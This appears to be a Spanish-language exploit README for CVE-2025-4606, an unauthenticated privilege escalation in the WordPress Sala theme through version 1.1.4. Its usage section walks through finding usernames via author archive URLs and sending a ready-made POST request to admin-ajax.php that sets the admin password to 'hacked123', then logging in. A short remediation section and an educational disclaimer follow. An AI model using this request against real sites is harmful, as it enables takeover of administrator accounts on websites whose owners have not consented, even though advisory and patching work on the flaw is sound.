CVE-2025-4606- WordPress Sala Theme <= 1.1.4 - Escalada de Privilegios No Autenticada mediante Restablecimiento de Contraseña/Toma de Cuenta

🔥 Resumen de la Vulnerabilidad
El tema de WordPress Sala versiones <= 1.1.4 es vulnerable a una vulnerabilidad de escalada de privilegios no autenticada. Esta falla permite a atacantes no autenticados restablecer contraseñas de usuarios arbitrarios — incluidos administradores — invocando directamente un endpoint AJAX expuesto sin verificar la identidad del solicitante.

Esta vulnerabilidad se origina en la función change_password_ajax registrada en wp_ajax_nopriv_, que establece una nueva contraseña para cualquier usuario válido sin comprobar si la solicitud está autorizada.

🔍 Tema Afectado

• Nombre del Tema: Sala – Startup & SaaS WordPress Theme
• Versión Afectada: <= 1.1.4
• Tipo de Vulnerabilidad: Escalada de Privilegios No Autenticada
• CVE ID: CVE-2025-4606
• Puntuación CVSS: 9.8 (Crítica)
• Impacto: Toma de Cuenta Completa (Incluido Administrador)

🧪 Características del Exploit

• 🔓 No requiere autenticación
• 🔄 Sobrescribe la contraseña de cualquier usuario proporcionando un nombre de usuario válido
• 📬 Apunta al endpoint AJAX /wp-admin/admin-ajax.php?action=change_password_ajax
• 🧠 Funciona al instante si el atacante conoce un nombre de usuario válido (p. ej., admin)

🧠 Investigador

• Crédito: Thai An

🚀 Uso

1. Identifica un nombre de usuario válido en el sitio WordPress objetivo. Puedes hacerlo comprobando:

   • URL públicas de archivos de autor (/author/username)

2. Elabora la siguiente solicitud POST para restablecer la contraseña del usuario:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. Si tiene éxito, ahora puedes iniciar sesión como el usuario objetivo usando la nueva contraseña (hacked123 en el ejemplo anterior).

4. Visita /wp-login.php y verifica el acceso.

🛠 Recomendaciones de Corrección

• Los desarrolladores del tema deben eliminar o asegurar el hook wp_ajax_nopriv_change_password_ajax.
• Comprueba siempre is_user_logged_in() y verifica la identidad del usuario antes de permitir acciones sensibles.
• Implementa comprobaciones de nonce para prevenir CSRF y abuso no autenticado.

🔒 Aviso Legal:
Esta información se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas. La explotación no autorizada de sistemas es ilegal y poco ética.

📚 Referencia:

• Aviso de Wordfence